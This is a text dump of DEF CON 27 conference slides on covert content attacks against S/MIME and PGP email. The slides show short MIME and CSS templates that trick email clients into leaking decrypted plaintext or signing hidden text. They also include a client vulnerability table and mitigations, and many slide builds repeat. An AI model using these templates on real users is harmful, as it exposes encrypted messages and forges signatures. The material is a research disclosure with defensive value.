DEF CON 27 -JENS MUELLE - re what's up Johnny covert content attacks on email end to end encryption

1. Re: What’s up Johnny?
Covert Content Attacks on Email End-To-End Encryption
Jens Müller, Marcus Brinkmann, Damian Poddebniak,
Sebastian Schinzel, Jörg Schwenk

2. Remember EFAIL?
2

3. • Last year: EFAIL
Remember EFAIL?
2

4. • Last year: EFAIL
– Major attack with a logo
Remember EFAIL?
2

5. • Last year: EFAIL
– Major attack with a logo
– Novel attack techniques
targeting S/MIME + PGP
Remember EFAIL?
2

6. • Last year: EFAIL
– Major attack with a logo
– Novel attack techniques
targeting S/MIME + PGP
• Today: non-crypto attacks
Remember EFAIL?
2

7. • Last year: EFAIL
– Major attack with a logo
– Novel attack techniques
targeting S/MIME + PGP
• Today: non-crypto attacks
– Targeting encryption and digital signatures
Remember EFAIL?
2

8. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
3

9. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
3

10. Technology's promise
4

11. I. “Strong crypto is virtually unbreakable.”
Technology's promise
4

12. I. “Strong crypto is virtually unbreakable.”
II. “Digital signature will prevail. Math wins.”
Technology's promise
4

13. I. “Strong crypto is virtually unbreakable.”
II. “Digital signature will prevail. Math wins.”
Technology's promise
…claims I. and II. could be bypassed with
a single reply to a benign looking email?
What if…
4

14. From: alice@good.com
To: johnny@good.com
Subject: Important news
Some ASCII text message…
Traditional RFC822 email
5

15. From: alice@good.com
To: johnny@good.com
Subject: Important news
Some ASCII text message…
Traditional RFC822 email
5

16. From: alice@good.com
To: johnny@good.com
Subject: Important news
Some ASCII text message…
Traditional RFC822 email
5

17. From: alice@good.com
To: johnny@good.com
Subject: Important news
-----BEGIN PGP MESSAGE-----
…
-----END PGP MESSAGE-----
Traditional PGP/Inline
6

18. From: alice@good.com
To: johnny@good.com
Subject: Important news
-----BEGIN PGP MESSAGE-----
…
-----END PGP MESSAGE-----
Traditional PGP/Inline
6

19. From: alice@good.com
To: johnny@good.com
Subject: Important news
-----BEGIN PGP MESSAGE-----
…
-----END PGP MESSAGE-----
Traditional PGP/Inline
6

20. Multipart MIME email
7

21. Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: alice@good.com
To: johnny@good.com
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7

22. Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: alice@good.com
To: johnny@good.com
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7

23. Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: alice@good.com
To: johnny@good.com
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7

24. Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: alice@good.com
To: johnny@good.com
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7

25. Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: alice@good.com
To: johnny@good.com
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
multipart/mixed
7

26. Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: alice@good.com
To: johnny@good.com
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
multipart/mixed
texttext
7

27. From: alice@good.com
To: johnny@good.com
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/html
<b>HTML</b> message…
Content-type: application/pdf
%PDF-1.4 […]
Multipart MIME email
multipart/mixed
pdfhtml
7

28. From: alice@good.com
To: johnny@good.com
Subject: Important news
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
S/MIME
8

29. From: alice@good.com
To: johnny@good.com
Subject: Important news
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
S/MIME
8

30. From: alice@good.com
To: johnny@good.com
Subject: Important news
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
S/MIME
8

31. OpenPGP (RFC 4880)
• Favored by privacy advocates
• Web-of-trust (no authorities)
S/MIME (RFC 5751)
• Favored by organizations
• Multi-root trust-hierarchies
Two competing standards
9

32. OpenPGP (RFC 4880)
• Favored by privacy advocates
• Web-of-trust (no authorities)
S/MIME (RFC 5751)
• Favored by organizations
• Multi-root trust-hierarchies
Two competing standards
9

33. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
10

34. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
10

35. Attacker model
11

36. • Eve has captured ciphertext
Attacker model
11

37. • Eve has captured ciphertext
• Can modify email structure
Attacker model
11

38. • Eve has captured ciphertext
• Can modify email structure
• Can re-send it to the victim
Attacker model
11

39. • Eve has captured ciphertext
• Can modify email structure
• Can re-send it to the victim
– Either to recipient or sender
Attacker model
11

40. • Eve has captured ciphertext
• Can modify email structure
• Can re-send it to the victim
– Either to recipient or sender
– Both can decrypt the email
Attacker model
11

41. Covert content attack: Decryption oracle
12

42. Covert content attack: Decryption oracle
12

43. Covert content attack: Decryption oracle
12

44. Covert content attack: Decryption oracle
12

45. To: johnny@good.com
Decryption oracle
From: alice@good.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13

46. To: johnny@good.com
Decryption oracle
From: alice@good.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13

47. To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13

48. To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13

49. To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13

50. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13

51. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
Content-type: text/plain
What's up Johnny?
13

52. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
Content-type: text/plain
What's up Johnny?
multipart/mixed
???text
13

53. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/plain
What's up Johnny?
multipart/mixed
text secret
13

54. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/plain
What's up Johnny?
13

55. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/plain
What's up Johnny?
13

56. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/plain
What's up Johnny?nnnnnn…
13

57. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/plain
What's up Johnny?nnnnnn…
13

58. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/html
What's up Johnny? <!--
13

59. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/html
What's up Johnny? <!--
13

60. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-ID: <part2>
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/html
What's up Johnny? <img src="cid:part2">
13

61. Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-Disposition: attachment
Secret message, for Johnny's eyes only…
To: johnny@good.com
Decryption oracle
From: eve@evil.com
Content-type: text/plain
What's up Johnny?
13

62. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
14

63. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
14

64. Covert content attack: Signing oracle
15

65. Covert content attack: Signing oracle
15

66. Covert content attack: Signing oracle
15

67. Covert content attack: Signing oracle
15

68. Covert content attack: Signing oracle
15

69. From: eve@evil.com
To: johnny@good.com
Content-type: text/html
What's up Johnny?
I hereby declare war.
Signature oracle
16

70. Signature oracle
From: eve@evil.com
To: johnny@good.com
Content-type: text/html
What's up Johnny?
<div class="covert"> I hereby declare war. </div>
16

71. Signature oracle
From: eve@evil.com
To: johnny@good.com
Content-type: text/html
<style>
IF condition:
Hide * but show .covert
</style>
What's up Johnny?
<div class="covert">I hereby declare war.</div>
16

72. Signature oracle
From: eve@evil.com
To: johnny@good.com
Content-type: text/html
<style>
@media (max-device-width: 834px) {
.covert {visibility: hidden;}}
</style>
What's up Johnny?
<div class="covert">I hereby declare war.</div>
hide covert
content on
mobile devices
16

73. Signature oracle
From: eve@evil.com
To: johnny@good.com
Content-type: text/html
<style>
@media (max-device-width: 834px) {
.covert {visibility: hidden;}}
@media (min-device-width: 835px) {
* {visibility: hidden;}
.covert {visibility: visible}}
</style>
What's up Johnny?
<div class="covert">I hereby declare war.</div>
but show on
desktop devices
16

74. I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
17

75. I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
Reply email sent from
Johnny’s mobile phone
17

76. I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
Reply email sent from
Johnny’s mobile phone
17

77. I'm fine, thanks.
On 01/05/19 09:53, Eve wrote:
> What's up Johnny?
Re: What's up Johnny?
I hereby declare war.
Signed email received
on a desktop device
Reply email sent from
Johnny’s mobile phone
17

78. Conditional rules
18

79. • Targeting device type (@media)
Conditional rules
18

80. • Targeting device type (@media)
• Targeting email client (@supports)
Conditional rules
18

81. • Targeting device type (@media)
• Targeting email client (@supports)
• Targeting user account (@document)
Conditional rules
18

82. • Targeting device type (@media)
• Targeting email client (@supports)
• Targeting user account (@document)
Conditional rules
18

83. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
19

84. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
19

85. OS Client
Decryption Signatures
S/MIME PGP S/MIME PGP
Windows
Thunderbird
Outlook
Win. 10 Mail
Win Live Mail
The Bat!
Postbox
eM Client
Linux
KMail
Evolution
Trojitá
Claws
Mutt
macOS
Apple Mail
MailMate
Airmail
iOS Mail App
Android
K-9 Mail
R2Mail2
MailDroid
Nine
Web
Exchange/OWA
Roundcube
Horde/IMP
Mailpile
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
– Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20

86. OS Client
Decryption Signatures
S/MIME PGP S/MIME PGP
Windows
Thunderbird ●
Outlook ○
Win. 10 Mail ○
Win Live Mail ○
The Bat! ○
Postbox ●
eM Client ○
Linux
KMail ◐
Evolution ◐
Trojitá ◐
Claws ◐
Mutt ◐
macOS
Apple Mail ●
MailMate ●
Airmail ●
iOS Mail App ●
Android
K-9 Mail –
R2Mail2 ○
MailDroid ○
Nine ○
Web
Exchange/OWA ○
Roundcube –
Horde/IMP ○
Mailpile –
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
– Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20

87. OS Client
Decryption Signatures
S/MIME PGP S/MIME PGP
Windows
Thunderbird ● ●
Outlook ○ ○
Win. 10 Mail ○ –
Win Live Mail ○ –
The Bat! ○ ○
Postbox ● ●
eM Client ○ ○
Linux
KMail ◐ ◐
Evolution ◐ ◐
Trojitá ◐ ◐
Claws ◐ ◐
Mutt ◐ ◐
macOS
Apple Mail ● ●
MailMate ● ●
Airmail ● ●
iOS Mail App ● –
Android
K-9 Mail – ○
R2Mail2 ○ ●
MailDroid ○ ○
Nine ○ –
Web
Exchange/OWA ○ –
Roundcube – ◐
Horde/IMP ○ ○
Mailpile – ○
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
– Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20

88. OS Client
Decryption Signatures
S/MIME PGP S/MIME PGP
Windows
Thunderbird ● ● ●
Outlook ○ ○ ◐
Win. 10 Mail ○ – ◐
Win Live Mail ○ – ●
The Bat! ○ ○ ○
Postbox ● ● ●
eM Client ○ ○ ◐
Linux
KMail ◐ ◐ ○
Evolution ◐ ◐ ◐
Trojitá ◐ ◐ ◐
Claws ◐ ◐ ○
Mutt ◐ ◐ ○
macOS
Apple Mail ● ● ◐
MailMate ● ● ●
Airmail ● ● ●
iOS Mail App ● – ●
Android
K-9 Mail – ○ –
R2Mail2 ○ ● ◐
MailDroid ○ ○ ●
Nine ○ – ●
Web
Exchange/OWA ○ – ●
Roundcube – ◐ ◐
Horde/IMP ○ ○ ◐
Mailpile – ○ –
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
– Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20

89. OS Client
Decryption Signatures
S/MIME PGP S/MIME PGP
Windows
Thunderbird ● ● ● ●
Outlook ○ ○ ◐ ◐
Win. 10 Mail ○ – ◐ –
Win Live Mail ○ – ● –
The Bat! ○ ○ ○ ○
Postbox ● ● ● ●
eM Client ○ ○ ◐ ◐
Linux
KMail ◐ ◐ ○ ○
Evolution ◐ ◐ ◐ ◐
Trojitá ◐ ◐ ◐ ◐
Claws ◐ ◐ ○ ○
Mutt ◐ ◐ ○ ○
macOS
Apple Mail ● ● ◐ ◐
MailMate ● ● ● ●
Airmail ● ● ● ●
iOS Mail App ● – ● –
Android
K-9 Mail – ○ – ●
R2Mail2 ○ ● ◐ ◐
MailDroid ○ ○ ● ●
Nine ○ – ● –
Web
Exchange/OWA ○ – ● –
Roundcube – ◐ ◐ ◐
Horde/IMP ○ ○ ◐ ◐
Mailpile – ○ – ○
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
– Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20

90. OS Client
Decryption Signatures
S/MIME PGP S/MIME PGP
Windows
Thunderbird ● ● ● ●
Outlook ○ ○ ◐ ◐
Win. 10 Mail ○ – ◐ –
Win Live Mail ○ – ● –
The Bat! ○ ○ ○ ○
Postbox ● ● ● ●
eM Client ○ ○ ◐ ◐
Linux
KMail ◐ ◐ ○ ○
Evolution ◐ ◐ ◐ ◐
Trojitá ◐ ◐ ◐ ◐
Claws ◐ ◐ ○ ○
Mutt ◐ ◐ ○ ○
macOS
Apple Mail ● ● ◐ ◐
MailMate ● ● ● ●
Airmail ● ● ● ●
iOS Mail App ● – ● –
Android
K-9 Mail – ○ – ●
R2Mail2 ○ ● ◐ ◐
MailDroid ○ ○ ● ●
Nine ○ – ● –
Web
Exchange/OWA ○ – ● –
Roundcube – ◐ ◐ ◐
Horde/IMP ○ ○ ◐ ◐
Mailpile – ○ – ○
● Plaintext can be completely hidden
◐ Plaintext merged with attacker-text
○ No vulnerabilities found
– Cryptosystem not available
Decryption oracles
● Covert rules kept in reply message
◐ Covert rules only for received mail
Signature oracles
20

91. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
21

92. 1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
21

93. Decryption oracles
22

94. • Accepting ASCII text only
Decryption oracles
22

95. • Accepting ASCII text only
Decryption oracles
22

96. • Accepting ASCII text only
• Enforcing digital signatures
Decryption oracles
22

97. • Accepting ASCII text only
• Enforcing digital signatures
Decryption oracles
22

98. • Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
Decryption oracles
22

99. • Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
Decryption oracles
22

100. • Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
• All-or-Nothing Encryption
Decryption oracles
22

101. • Accepting ASCII text only
• Enforcing digital signatures
• Warn on partial encryption
• All-or-Nothing Encryption
Decryption oracles
Root causes: long-term keys +
ciphertext usage out-of-context
22

102. Signing oracles
23

103. • Dropping CSS Support
Signing oracles
23

104. • Dropping CSS Support
Signing oracles
23

105. • Dropping CSS Support
• Only ASCII Text in replies
Signing oracles
23

106. • Dropping CSS Support
• Only ASCII Text in replies
• Remove styles from replies
Signing oracles
23

107. Conclusion
24

108. • Crypto is not enough, bypasses exist
Conclusion
24

109. • Crypto is not enough, bypasses exist
• 22 of 24 tested clients are vulnerable
Conclusion
24

110. • Crypto is not enough, bypasses exist
• 22 of 24 tested clients are vulnerable
• Building security on top of email is hard
Conclusion
24

111. • Crypto is not enough, bypasses exist
• 22 of 24 tested clients are vulnerable
• Building security on top of email is hard
Conclusion
Thank you! Questions?
Exploits: github.com/RUB-NDS/Covert-Content-Attacks
24

112. HTML and CSS support in various email clients

113. Proprietary conditional features

114. Blinding options